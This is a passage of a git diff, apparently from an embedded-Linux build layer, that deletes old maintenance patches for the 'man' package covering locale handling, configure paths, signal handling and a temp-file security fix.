- # not only is it superfluous, but it actually damages the output.
diff --git a/meta/recipes-extended/man/man/man-1.5j-utf8.patch b/meta/recipes-extended/man/man/man-1.5j-utf8.patch
deleted file mode 100644
index 33d3e4c974..0000000000
--- a/meta/recipes-extended/man/man/man-1.5j-utf8.patch
+++ /dev/null
@@ -1,61 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- man-1.5j/configure.utf8 Thu Nov 22 15:02:35 2001
-+++ man-1.5j/configure Thu Nov 22 15:03:15 2001
-@@ -408,9 +408,9 @@
- Fgawk=/bin/gawk
- Fawk=/bin/gawk
- Fmawk=missing
-- troff=""
-- nroff=""
-- jnroff=""
-+ troff=/usr/bin/troff
-+ nroff=/usr/bin/nroff
-+ jnroff=/usr/bin/nroff
- eqn=""
- neqn=""
- jneqn=""
-@@ -453,6 +453,8 @@
- done
- done
- Fgroff=/usr/bin/groff
-+ Fnroff=/usr/bin/nroff
-+ Fjnroff=/usr/bin/nroff
- Fgeqn=/usr/bin/geqn
- Fgtbl=/usr/bin/gtbl
- Fcol=/usr/bin/col
-@@ -485,25 +487,25 @@
- then
- if test $Fnroff = "missing"
- then
-- nroff="nroff -Tlatin1 -mandoc"
-+ nroff="nroff -Tutf8 -mandoc"
- else
-- nroff="$Fnroff -Tlatin1 -mandoc"
-+ nroff="$Fnroff -Tutf8 -mandoc"
- fi
- troff="troff -mandoc"
- echo "Warning: could not find groff"
- else
- if test $Fnroff = "missing"
- then
-- nroff="$Fgroff -Tlatin1 -mandoc"
-+ nroff="$Fgroff -Tutf8 -mandoc"
- else
-- nroff="$Fnroff -Tlatin1 -mandoc"
-+ nroff="$Fnroff -Tutf8 -mandoc"
- fi
- troff="$Fgroff -Tps -mandoc"
-- jnroff="$Fgroff -Tnippon -mandocj"
-+ jnroff="$Fjnroff -Tutf8 -mandocj"
- fi
- eqn="$Fgeqn -Tps"
-- neqn="$Fgeqn -Tlatin1"
-- jneqn="$Fgeqn -Tnippon"
-+ neqn="$Fgeqn -Tutf8"
-+ jneqn="$Fgeqn -Tutf8"
- tbl="$Fgtbl"
- col="$Fcol"
- vgrind="$Fvgrind"
diff --git a/meta/recipes-extended/man/man/man-1.5k-confpath.patch b/meta/recipes-extended/man/man/man-1.5k-confpath.patch
deleted file mode 100644
index b5746c2df8..0000000000
--- a/meta/recipes-extended/man/man/man-1.5k-confpath.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- configure 2006-05-01 19:56:14.000000000 +0200
-+++ configure.oden 2008-12-21 19:16:50.000000000 +0100
-@@ -198,7 +198,7 @@
- confdir="${confprefix}/share/misc"
- fi
- fi
--conffilename="man.conf"
-+conffilename="man.config"
-
- if test "$RANDOM" = "$RANDOM"; then
- # Plain old Bourne shell.
diff --git a/meta/recipes-extended/man/man/man-1.5k-nonascii.patch b/meta/recipes-extended/man/man/man-1.5k-nonascii.patch
deleted file mode 100644
index d662d9b6a7..0000000000
--- a/meta/recipes-extended/man/man/man-1.5k-nonascii.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- ./src/apropos.sh.nonascii 2001-11-23 00:30:42.000000000 +0100
-+++ ./src/apropos.sh 2002-08-13 15:44:53.000000000 +0200
-@@ -18,9 +18,9 @@
-
- # When man pages in your favorite locale look to grep like binary files
- # (and you use GNU grep) you may want to add the 'a' option to *grepopt1.
--aproposgrepopt1='i'
-+aproposgrepopt1='ia'
- aproposgrepopt2=''
--whatisgrepopt1='iw'
-+whatisgrepopt1='iwa'
- whatisgrepopt2='^'
- grepopt1=$%apropos_or_whatis%grepopt1
- grepopt2=$%apropos_or_whatis%grepopt2
diff --git a/meta/recipes-extended/man/man/man-1.5k-sofix.patch b/meta/recipes-extended/man/man/man-1.5k-sofix.patch
deleted file mode 100644
index 50b925288e..0000000000
--- a/meta/recipes-extended/man/man/man-1.5k-sofix.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- man-1.5j/src/man.c.sofix Thu Nov 22 14:51:44 2001
-+++ man-1.5j/src/man.c Thu Nov 22 14:52:44 2001
-@@ -300,7 +300,7 @@
-
- if (strlen(name0) >= sizeof(ultname))
- return name0;
-- strcpy(ultname, name0);
-+ strncpy(ultname, name0, BUFSIZE-32);
- name = ultname;
-
- again:
-@@ -332,7 +332,7 @@
- * .so files - we could glob for all possible extensions,
- * for now: only try .gz
- */
-- else if (fp == NULL && get_expander(".gz") &&
-+ if (fp == NULL && get_expander(".gz") &&
- strlen(name)+strlen(".gz") < BUFSIZE) {
- strcat(name, ".gz");
- fp = fopen (name, "r");
diff --git a/meta/recipes-extended/man/man/man-1.5m2-bug11621.patch b/meta/recipes-extended/man/man/man-1.5m2-bug11621.patch
deleted file mode 100644
index 051299906b..0000000000
--- a/meta/recipes-extended/man/man/man-1.5m2-bug11621.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- ./configure.ad 2003-12-11 19:17:10.000000000 +0100
-+++ ./configure 2003-12-11 19:17:27.000000000 +0100
-@@ -26,7 +26,7 @@
- # (Indeed, -r may cause the terminal to get into funny states.
- # Very inconvenient. For viewing pages in strange locales, set LC_*.)
- #
--DEFAULTLESSOPT="-is"
-+DEFAULTLESSOPT="-isr"
- #
- # Note that not creating any cat directories (/var/cache/man or so)
- # and not making man suid or sgid is recommended.
diff --git a/meta/recipes-extended/man/man/man-1.5m2-buildroot.patch b/meta/recipes-extended/man/man/man-1.5m2-buildroot.patch
deleted file mode 100644
index bc97f56b9a..0000000000
--- a/meta/recipes-extended/man/man/man-1.5m2-buildroot.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- ./configure.less 2003-12-11 19:18:15.000000000 +0100
-+++ ./configure 2003-12-11 19:20:03.000000000 +0100
-@@ -401,18 +401,13 @@
-
- if test "$ans" = "false"
- then
-- for i in more less cmp cat awk gawk mawk
-- do
-- eval F$i="missing"
-- for j in $DEFPATH
-- do
-- if test -f $j/$i
-- then
-- eval F$i=$j/$i
-- break
-- fi
-- done
-- done
-+ Fmore=/bin/more
-+ Fless=/usr/bin/less
-+ Fcmp=/usr/bin/cmp
-+ Fcat=/bin/cat
-+ Fgawk=/bin/gawk
-+ Fawk=/bin/gawk
-+ Fmawk=missing
- troff=""
- nroff=""
- jnroff=""
-@@ -457,6 +452,19 @@
- fi
- done
- done
-+ Fgroff=/usr/bin/groff
-+ Fgeqn=/usr/bin/geqn
-+ Fgtbl=/usr/bin/gtbl
-+ Fcol=/usr/bin/col
-+ Fgrefer=/usr/bin/grefer
-+ Fgpic=/usr/bin/gpic
-+ Fmore=/bin/more
-+ Fless=/usr/bin/less
-+ Fcmp=/usr/bin/cmp
-+ Fcat=/bin/cat
-+ Fgawk=/bin/gawk
-+
-+
- for i in eqn tbl refer pic
- do
- if test `eval echo \\$Fg$i` = "missing"
diff --git a/meta/recipes-extended/man/man/man-1.5m2-no-color-for-printing.patch b/meta/recipes-extended/man/man/man-1.5m2-no-color-for-printing.patch
deleted file mode 100644
index c85ff1d8c7..0000000000
--- a/meta/recipes-extended/man/man/man-1.5m2-no-color-for-printing.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- man-1.5m2/configure.color 2006-09-16 18:27:37.000000000 +0200
-+++ man-1.5m2/configure 2006-09-16 18:28:44.000000000 +0200
-@@ -539,6 +539,8 @@
- troff="$troff -c"
- nroff="$nroff -c"
- jnroff="$jnroff -c"
-+else
-+ troff="$troff -c"
- fi
-
- if [ x$default = x ]; then
diff --git a/meta/recipes-extended/man/man/man-1.5m2-sigpipe.patch b/meta/recipes-extended/man/man/man-1.5m2-sigpipe.patch
deleted file mode 100644
index 8af78eab7b..0000000000
--- a/meta/recipes-extended/man/man/man-1.5m2-sigpipe.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- man-1.5m2/src/util.c_sigpipe 2006-12-09 13:43:21.000000000 +0100
-+++ man-1.5m2/src/util.c 2006-12-09 13:53:13.000000000 +0100
-@@ -116,11 +116,14 @@
- static int
- system1 (const char *command) {
- void (*prev_handler)(int) = signal (SIGINT,catch_int);
-+ signal (SIGPIPE,SIG_IGN);
- int ret = system(command);
-
- /* child terminated with signal? */
- if (WIFSIGNALED(ret) &&
-- (WTERMSIG(ret) == SIGINT || WTERMSIG(ret) == SIGQUIT))
-+ (WTERMSIG(ret) == SIGINT ||
-+ WTERMSIG(ret) == SIGPIPE ||
-+ WTERMSIG(ret) == SIGQUIT))
- exit(1);
-
- /* or we caught an interrupt? */
-@@ -128,6 +131,7 @@
- exit(1);
-
- signal(SIGINT,prev_handler);
-+ signal(SIGPIPE,SIG_DFL);
- return ret;
- }
-
diff --git a/meta/recipes-extended/man/man/man-1.6e-i18n_whatis.patch b/meta/recipes-extended/man/man/man-1.6e-i18n_whatis.patch
deleted file mode 100644
index e321325d63..0000000000
--- a/meta/recipes-extended/man/man/man-1.6e-i18n_whatis.patch
+++ /dev/null
@@ -1,145 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
-diff -Naur man-1.6e.orig/src/apropos.sh man-1.6e/src/apropos.sh
---- man-1.6e.orig/src/apropos.sh 2007-05-18 13:49:31.000000000 -0300
-+++ man-1.6e/src/apropos.sh 2007-05-18 14:24:33.000000000 -0300
-@@ -60,16 +60,56 @@
- esac
- done
-
-+# list of languages to look for
-+LANG_LIST=`echo $LANGUAGE:$LC_ALL:$LC_MESSAGES:$LANG | tr ':' ' '`
-+DIR_LIST=""
-+for d in /var/cache/man $manpath /usr/lib
-+do
-+ for l in $LANG_LIST
-+ do
-+ if [ -d $d/$l ]
-+ then
-+ # check that the path is not already in the list
-+ if ! echo "$DIR_LIST" | grep " $d/$l\b" > /dev/null
-+ then
-+ DIR_LIST="$DIR_LIST $d/$l"
-+ fi
-+ fi
-+ done
-+ DIR_LIST="$DIR_LIST $d"
-+ # check that the path is not already in the list
-+ if ! echo "$DIR_LIST" | grep " $d\b" > /dev/null
-+ then
-+ DIR_LIST="$DIR_LIST $d/$l"
-+ fi
-+done
-+
- while [ "$1" != "" ]
- do
- found=0
-- for d in /var/cache/man $manpath /usr/lib
-+ # in order not to display lines in more than one language for
-+ # a same man page; we check that a given man page name
-+ # hasn't already been displayed
-+ BAZ=""
-+ for d in $DIR_LIST
- do
- if [ -f $d/whatis ]
- then
-- if grep -"$grepopt1" "$grepopt2""$1" $d/whatis
-+ if FOO=`grep -"$grepopt1" "$grepopt2""$1" $d/whatis`
- then
-- found=1
-+ # the LC_ALL=C is needed in case the text is
-+ # in a different encoding than the locale
-+ BAR=`echo -e "$FOO" | LC_ALL=C sed 's/ - .*$//' | tr ' []' '_' | sort -u`
-+ for i in $BAR
-+ do
-+ if ! echo "$BAZ" | grep "$i" > /dev/null
-+ then
-+ BAZ="$BAZ $i"
-+ i="^`echo $i | sed 's:_\+:\\\(\[_ \]\\\|\\\[\\\|\\\]\\\)\\\+:g'`"
-+ echo -e "$FOO" | grep "$i"
-+ found=1
-+ fi
-+ done
- # Some people are satisfied with a single occurrence
- # But it is better to give all
- # break
-diff -Naur man-1.6e.orig/src/makewhatis.sh man-1.6e/src/makewhatis.sh
---- man-1.6e.orig/src/makewhatis.sh 2007-05-18 13:49:31.000000000 -0300
-+++ man-1.6e/src/makewhatis.sh 2007-05-18 13:50:07.000000000 -0300
-@@ -41,12 +41,32 @@
-
- program=`basename $0`
-
-+# this allows to define language specific values fro NAME, DESCRIPTION
-+# if not defined, using those default values
-+if [ -z "$MAN_NAME" ]
-+then
-+ MAN_NAME="ИМЕ|NOM|JMÉNO|NAVN|ΟÎΟΜΑ|NOMBRE|NIME|IZENA|NIMI|IME|\
-+NÉV|NOME|åå‰|ì´ë¦„|NAAM|NAZWA|NUME|ИМЯ|MENO|ÐÐЗВÐ|å称|å稱"
-+fi
-+if [ -z "$MAN_DESCRIPTION" ]
-+then
-+ MAN_DESCRIPTION="ОПИСÐÐИЕ|DESCRIPCIÓ|POPIS|BESKRIVELSE|BESCHREIBUNG|\
-+ΠΕΡΙΓΡΑΦΗ|DESCRIPCIÓN|KIRJELDUS|AZALPENA|KUVAUS|OPIS|LEÃRÃS|DESCRIZIONE|\
-+説明|설명|BESCHRIJVING|DESCRIÇÃO|DESCRIERE|ОПИС|æè¿°"
-+fi
-+# make them into awk regexp
-+MAN_NAME="^(${MAN_NAME})";
-+MAN_DESCRIPTION="^(${MAN_DESCRIPTION})";
-+
- # In case both /usr/man and /usr/share/man exist, the former is local
- # and should be first.
- # It is a bug to add /var/cache/man to DEFCATPATH.
- dm=
- for d in /usr/share/man /usr/man /usr/X11R6/man /usr/local/man
- do
-+ if [ -n "$LANG" -a -d "$d/$LANG" ]; then
-+ if [ x$dm = x ]; then dm="$d/$LANG"; else dm=$dm:"$d/$LANG"; fi
-+ fi
- if [ -d $d ]; then
- if [ x$dm = x ]; then dm=$d; else dm=$dm:$d; fi
- fi
-@@ -55,6 +75,9 @@
- dc=
- for d in /var/cache/man /usr/share/man/preformat /usr/man/preformat /usr/share/man /usr/man
- do
-+ if [ -n "$LANG" -a -d "$d/$LANG" ]; then
-+ if [ x$dc = x ]; then dm="$d/$LANG"; else dm=$dc:"$d/$LANG"; fi
-+ fi
- if [ -d $d ]; then
- if [ x$dc = x ]; then dc=$d; else dc=$dc:$d; fi
- fi
-@@ -194,7 +217,7 @@
- section=$i
- curdir=$mandir/${pages}$i
- export section verbose curdir
-- find $mandir/${pages}$i/. -name '*' $findarg0 $findarg -print | $AWK '
-+ find $mandir/${pages}$i/. -name '*' $findarg0 $findarg -print | LC_ALL=C $AWK -v MAN_NAME="$MAN_NAME" -v MAN_DESCRIPTION="$MAN_DESCRIPTION" '
-
- function readline() {
- if (use_zcat || use_bzcat) {
-@@ -261,13 +284,7 @@
- gsub(/.\b/, "");
- if (($1 ~ /^\.[Ss][Hh]/ &&
- ($2 ~ /[Nn][Aa][Mm][Ee]/ ||
-- $2 ~ /^JMÉNO/ || $2 ~ /^NAVN/ || $2 ~ /^NUME/ ||
-- $2 ~ /^BEZEICHNUNG/ || $2 ~ /^NOMBRE/ ||
-- $2 ~ /^NIMI/ || $2 ~ /^NOM/ || $2 ~ /^IME/ ||
-- $2 ~ /^N[ÉE]V/ || $2 ~ /^NAMA/ || $2 ~ /^̾Á°/ ||
-- $2 ~ /^̾¾Î/ || $2 ~ /^À̸§/ || $2 ~ /^NAZWA/ ||
-- $2 ~ /^îáú÷áîéå/ || $2 ~ /^Ãû³Æ/ || $2 ~ /^¦WºÙ/ ||
-- $2 ~ /^NOME/ || $2 ~ /^NAAM/ || $2 ~ /^ÈÌÅ/)) ||
-+ $2 ~ MAN_NAME )) ||
- (pages == "cat" && $1 ~ /^NAME/)) {
- if (!insh) {
- insh = 1;
-@@ -278,6 +295,7 @@
- if ($1 ~ /^\.[Ss][HhYS]/ ||
- (pages == "cat" &&
- ($1 ~ /^S[yYeE]/ || $1 ~ /^DESCRIPTION/ ||
-+ $1 ~ MAN_DESCRIPTION ||
- $1 ~ /^COMMAND/ || $1 ~ /^OVERVIEW/ ||
- $1 ~ /^STRUCTURES/ || $1 ~ /^INTRODUCTION/ ||
- $0 ~ /^[^ ]/))) {
diff --git a/meta/recipes-extended/man/man/man-1.6e-mandirs.patch b/meta/recipes-extended/man/man/man-1.6e-mandirs.patch
deleted file mode 100644
index b240064c98..0000000000
--- a/meta/recipes-extended/man/man/man-1.6e-mandirs.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- man-1.6e.orig/src/man.conf.in 2005-08-20 20:26:06.000000000 -0300
-+++ man-1.6e/src/man.conf.in 2007-05-18 10:30:29.000000000 -0300
-@@ -36,11 +36,12 @@
- #
- # Every automatically generated MANPATH includes these fields
- #
--MANPATH /usr/man
- MANPATH /usr/share/man
-+MANPATH /usr/X11R6/man
- MANPATH /usr/local/man
- MANPATH /usr/local/share/man
--MANPATH /usr/X11R6/man
-+MANPATH /usr/kerberos/man
-+MANPATH /usr/man
- #
- # Uncomment if you want to include one of these by default
- #
-@@ -67,6 +68,9 @@
- MANPATH_MAP /usr/X11R6/bin /usr/X11R6/man
- MANPATH_MAP /usr/bin/X11 /usr/X11R6/man
- MANPATH_MAP /usr/bin/mh /usr/share/man
-+MANPATH_MAP /usr/kerberos/bin /usr/kerberos/man
-+MANPATH_MAP /usr/kerberos/sbin /usr/kerberos/man
-+
- #
- # NOAUTOPATH keeps man from automatically adding directories that look like
- # manual page directories to the path.
diff --git a/meta/recipes-extended/man/man/man-1.6e-new_sections.patch b/meta/recipes-extended/man/man/man-1.6e-new_sections.patch
deleted file mode 100644
index fb9773c646..0000000000
--- a/meta/recipes-extended/man/man/man-1.6e-new_sections.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- man-1.6e.orig/configure 2006-05-01 14:56:14.000000000 -0300
-+++ man-1.6e/configure 2007-05-18 14:35:43.000000000 -0300
-@@ -960,7 +960,7 @@
-
- # What sections do we anticipate?
-
--tmpsections="1 1p 8 2 3 3p 4 5 6 7 9 0p tcl n l p o"
-+tmpsections="1 1p 8 2 3 3p 3pm 4 5 6 7 9 0p tcl n l p o"
-
- if [ x$default = x ]; then
- echo ""
diff --git a/meta/recipes-extended/man/man/man-1.6e-ro_usr.patch b/meta/recipes-extended/man/man/man-1.6e-ro_usr.patch
deleted file mode 100644
index 1d1cb0c724..0000000000
--- a/meta/recipes-extended/man/man/man-1.6e-ro_usr.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
-Index: man-1.6f/src/makewhatis.sh
-===================================================================
---- man-1.6f.orig/src/makewhatis.sh 2010-12-29 13:42:34.000000000 -0800
-+++ man-1.6f/src/makewhatis.sh 2010-12-29 13:42:35.667428347 -0800
-@@ -124,7 +124,7 @@
- continue;;
- -s) setsections=1
- continue;;
-- -u) findarg="-ctime 0"
-+ -u) findarg="-newer /var/cache/man/whatis"
- update=1
- continue;;
- -v) verbose=1
-@@ -165,14 +165,7 @@
- # first truncate all the whatis files that will be created new,
- # then only update - we might visit the same directory twice
- if [ x$update = x ]; then
-- for pages in man cat
-- do
-- eval path="\$$pages"path
-- for mandir in $path
-- do
-- cp /dev/null $mandir/whatis
-- done
-- done
-+ cp /dev/null /var/cache/man/whatis
- fi
-
- for pages in man cat
diff --git a/meta/recipes-extended/man/man/man-1.6e-security.patch b/meta/recipes-extended/man/man/man-1.6e-security.patch
deleted file mode 100644
index 312a882f06..0000000000
--- a/meta/recipes-extended/man/man/man-1.6e-security.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
-diff -Naur man-1.6e.orig/src/makewhatis.sh man-1.6e/src/makewhatis.sh
---- man-1.6e.orig/src/makewhatis.sh 2006-07-19 01:58:08.000000000 -0300
-+++ man-1.6e/src/makewhatis.sh 2007-05-18 10:18:31.000000000 -0300
-@@ -45,7 +45,7 @@
- # and should be first.
- # It is a bug to add /var/cache/man to DEFCATPATH.
- dm=
--for d in /usr/man /usr/share/man /usr/X11R6/man /usr/local/man
-+for d in /usr/share/man /usr/man /usr/X11R6/man /usr/local/man
- do
- if [ -d $d ]; then
- if [ x$dm = x ]; then dm=$d; else dm=$dm:$d; fi
-@@ -53,7 +53,7 @@
- done
- DEFMANPATH=$dm
- dc=
--for d in /usr/man/preformat /usr/man /usr/share/man/preformat /usr/share/man
-+for d in /var/cache/man /usr/share/man/preformat /usr/man/preformat /usr/share/man /usr/man
- do
- if [ -d $d ]; then
- if [ x$dc = x ]; then dc=$d; else dc=$dc:$d; fi
-@@ -76,12 +76,12 @@
- # We try here to be careful (and avoid preconstructed symlinks)
- # in case makewhatis is run as root, by creating a subdirectory of /tmp.
-
--TMPFILEDIR=/tmp/whatis.tmp.dir.$$
--rm -rf $TMPFILEDIR
--if ! mkdir -m 0700 $TMPFILEDIR; then
-- echo Could not create $TMPFILEDIR
-- exit 1;
-+TMPFILEDIR=`mktemp -d /tmp/makewhatisXXXXXX`
-+if [ $? -ne 0 ]; then
-+ echo "$0: Can't create temp file, exiting..."
-+ exit 1
- fi
-+chmod 0700 $TMPFILEDIR
- TMPFILE=$TMPFILEDIR/w
-
- # make sure TMPFILEDIR is deleted if program is killed or terminates
-diff -Naur man-1.6e.orig/src/man.c man-1.6e/src/man.c
---- man-1.6e.orig/src/man.c 2006-05-01 17:34:22.000000000 -0300
-+++ man-1.6e/src/man.c 2007-05-18 10:11:33.000000000 -0300
-@@ -1234,7 +1234,6 @@
- #endif
-
-
--#if 0
- {
- /* There are no known cases of buffer overflow caused by
- excessively long environment variables. In case you find one,
-@@ -1257,7 +1256,6 @@
- MAN_ICONV_PATH, MAN_ICONV_OPT, MAN_ICONV_INPUT_CHARSET,
- MAN_ICONV_OUTPUT_CHARSET, NLSPATH, PATH */
- }
--#endif
-
-
- #ifndef __FreeBSD__
diff --git a/meta/recipes-extended/man/man/man-1.6e-use_i18n_vars_in_a_std_way.patch b/meta/recipes-extended/man/man/man-1.6e-use_i18n_vars_in_a_std_way.patch
deleted file mode 100644
index 568f742100..0000000000
--- a/meta/recipes-extended/man/man/man-1.6e-use_i18n_vars_in_a_std_way.patch
+++ /dev/null
@@ -1,160 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
-diff -Naur man-1.6e.orig/catopen/catopen.c man-1.6e/catopen/catopen.c
---- man-1.6e.orig/catopen/catopen.c 2005-08-20 20:26:06.000000000 -0300
-+++ man-1.6e/catopen/catopen.c 2007-05-18 11:31:05.000000000 -0300
-@@ -9,22 +9,63 @@
- extern char *index (const char *, int); /* not always in <string.h> */
- extern char *my_malloc(int); /* in util.c */
-
-+/* if the program has sgid/suid privileges then getenv doesn't return
-+ * NLSPATH; so we set here a good default value.
-+ */
- #ifndef DEFAULT_NLSPATH
- # if __GLIBC__ >= 2
--# define DEFAULT_NLSPATH "/usr/share/locale/%L/%N"
-+# define DEFAULT_NLSPATH "/usr/share/locale/%L/%N:/usr/share/locale/%l_%t/%N:/usr/share/locale/%l/%N"
- # else
- # define DEFAULT_NLSPATH "/usr/lib/locale/%N/%L"
- # endif
- #endif
-
--static nl_catd my_catopenpath(char *name, char *path);
-+static nl_catd my_catopenpath(char *name, char *path, char *lang);
-
- static /* this source included in gripes.c */
- nl_catd
- my_catopen(char *name, int oflag) {
-- nl_catd fd;
-+ nl_catd fd = (nl_catd) -1;
-+
-+ /* using first the my_catopenpath, which looks with LANGUAGE
-+ * and only if it fails ressort to catopen, it gives better i18n
-+ */
-+ {
-+ char *nlspath, *lang, *s;
-
-- fd = catopen(name, oflag);
-+ /*
-+ * "If NLSPATH does not exist in the environment, or if a
-+ * message catalog cannot be opened in any of the paths specified
-+ * by NLSPATH, then an implementation defined default path is used"
-+ */
-+ nlspath = getenv("NLSPATH");
-+ if (!nlspath)
-+ nlspath = DEFAULT_NLSPATH;
-+
-+ lang = getenv("LANGUAGE");
-+ if (!lang)
-+ lang = getenv("LC_ALL");
-+ if (!lang)
-+ lang = getenv("LC_MESSAGES");
-+ if (!lang)
-+ lang = getenv("LANG");
-+ if (!lang)
-+ lang = "";
-+
-+ while(*lang && (fd == (nl_catd) -1)) {
-+ s = index(lang, ':');
-+ if (s) *s = 0;
-+ fd = my_catopenpath(name, nlspath, lang);
-+ if (s) lang=s+1;
-+ else lang = "";
-+ }
-+ if (fd == (nl_catd) -1)
-+ fd = my_catopenpath(name, nlspath, "en");
-+ }
-+
-+ /* still not found, use the system catopen */
-+ if (fd == (nl_catd) -1)
-+ fd = catopen(name, oflag);
-
- if (fd == (nl_catd) -1 && oflag) {
- oflag = 0;
-@@ -32,8 +73,6 @@
- }
-
- if (fd == (nl_catd) -1) {
-- char *nlspath;
--
- /* The libc catopen fails - let us see if we can do better */
- /* The quotes below are from X/Open, XPG 1987, Vol. 3. */
-
-@@ -58,17 +97,6 @@
- #endif
- }
-
-- /*
-- * "If NLSPATH does not exist in the environment, or if a
-- * message catalog cannot be opened in any of the paths specified
-- * by NLSPATH, then an implementation defined default path is used"
-- */
--
-- nlspath = getenv("NLSPATH");
-- if (nlspath)
-- fd = my_catopenpath(name, nlspath);
-- if (fd == (nl_catd) -1)
-- fd = my_catopenpath(name, DEFAULT_NLSPATH);
- }
- return fd;
- }
-@@ -90,15 +118,13 @@
- *
- */
- static nl_catd
--my_catopenpath(char *name, char *nlspath) {
-- int fd;
-+my_catopenpath(char *name, char *nlspath, char *lang) {
- nl_catd cfd = (nl_catd) -1;
-- char *path0, *path, *s, *file, *lang, *lang_l, *lang_t, *lang_c;
-+ char *path0, *path, *s, *file, *lang_l, *lang_t, *lang_c;
- int langsz, namesz, sz, lang_l_sz, lang_t_sz, lang_c_sz;
-
- namesz = strlen(name);
-
-- lang = getenv("LANG");
- if (!lang)
- lang = "";
- langsz = strlen(lang);
-@@ -194,14 +220,9 @@
- path = s+1;
- } else
- path = 0;
-- fd = open(file, O_RDONLY);
-- if (fd != -1) {
-- /* we found the right catalog - but we don't know the
-- type of nl_catd, so close it again and ask libc */
-- close(fd);
-- cfd = catopen(file, 0);
-- break;
-- }
-+ cfd = catopen(file, 0);
-+ if (cfd != (nl_catd) -1)
-+ break;
- }
-
- free(path0);
-diff -Naur man-1.6e.orig/src/manpath.c man-1.6e/src/manpath.c
---- man-1.6e.orig/src/manpath.c 2006-08-03 18:18:33.000000000 -0300
-+++ man-1.6e/src/manpath.c 2007-05-18 11:02:48.000000000 -0300
-@@ -282,13 +282,14 @@
- /* We cannot use "lang = setlocale(LC_MESSAGES, NULL)" or so:
- the return value of setlocale is an opaque string. */
- /* POSIX prescribes the order: LC_ALL, LC_MESSAGES, LANG */
-- if((lang = getenv("LC_ALL")) != NULL)
-+ /* LANGUAGE is GNU/Linux and overrules all */
-+ if((lang = getenv("LANGUAGE")) != NULL)
- split2(dir, lang, add_to_mandirlist_x, perrs);
-- if((lang = getenv("LC_MESSAGES")) != NULL)
-+ else if((lang = getenv("LC_ALL")) != NULL)
- split2(dir, lang, add_to_mandirlist_x, perrs);
-- if((lang = getenv("LANG")) != NULL)
-+ else if((lang = getenv("LC_MESSAGES")) != NULL)
- split2(dir, lang, add_to_mandirlist_x, perrs);
-- if((lang = getenv("LANGUAGE")) != NULL)
-+ else if((lang = getenv("LANG")) != NULL)
- split2(dir, lang, add_to_mandirlist_x, perrs);
- add_to_mandirlist_x(dir, 0, perrs);
- }
diff --git a/meta/recipes-extended/man/man/man-1.6e-whatis2.patch b/meta/recipes-extended/man/man/man-1.6e-whatis2.patch
deleted file mode 100644
index fc4ed3135d..0000000000
--- a/meta/recipes-extended/man/man/man-1.6e-whatis2.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
-Index: man-1.6f/src/makewhatis.sh
-===================================================================
---- man-1.6f.orig/src/makewhatis.sh 2010-12-29 13:51:45.000000000 -0800
-+++ man-1.6f/src/makewhatis.sh 2010-12-29 13:59:35.399799412 -0800
-@@ -164,10 +164,15 @@
- fi
- catpath=`echo ${catpath} | tr : ' '`
-
-+#WHATIS_DIR=$DESTDIR/var/cache/man/`echo $here|sed -e 's!.*/man/!!g'`
-+WHATIS_DIR=$DESTDIR/var/cache/man/$LANG
-+[[ -d $WHATIS_DIR ]] || mkdir -p $WHATIS_DIR/
-+
- # first truncate all the whatis files that will be created new,
- # then only update - we might visit the same directory twice
- if [ x$update = x ]; then
-- cp /dev/null /var/cache/man/whatis
-+ mkdir -p $WHATIS_DIR/
-+ /bin/echo -n > $WHATIS_DIR/whatis
- fi
-
- for pages in man cat
-@@ -180,13 +185,7 @@
- echo "about to enter $mandir" > /dev/stderr
- fi
-
-- # kludge for Slackware's /usr/man/preformat
-- if [ $mandir = /usr/man/preformat ]
-- then
-- mandir1=/usr/man
-- else
-- mandir1=$mandir
-- fi
-+ mandir1=$WHATIS_DIR
-
- # if $mandir is on a readonly partition, and the whatis file
- # is not a symlink, then let's skip trying to update it
-@@ -207,11 +206,6 @@
- fi
- fi
-
-- if [ -s ${mandir}/whatis -a $pages = man -a x$update = x ]; then
-- if [ x$verbose != x ]; then
-- echo skipping $mandir - we did it already > /dev/stderr
-- fi
-- else
- here=`pwd`
- cd $mandir
- for i in $sections
-@@ -447,7 +447,6 @@
-
- chmod 644 ${mandir1}/whatis
- rm $TMPFILE
-- fi
- done
- done
diff --git a/meta/recipes-extended/man/man/man-1.6g-compile-warnings.patch b/meta/recipes-extended/man/man/man-1.6g-compile-warnings.patch
deleted file mode 100644
index 4631d2d063..0000000000
--- a/meta/recipes-extended/man/man/man-1.6g-compile-warnings.patch
+++ /dev/null
@@ -1,105 +0,0 @@
-Fix a build error when building man.config.5 (a remnant of a long
-ago previous patch). Optimized the manpages Makefile for parallel
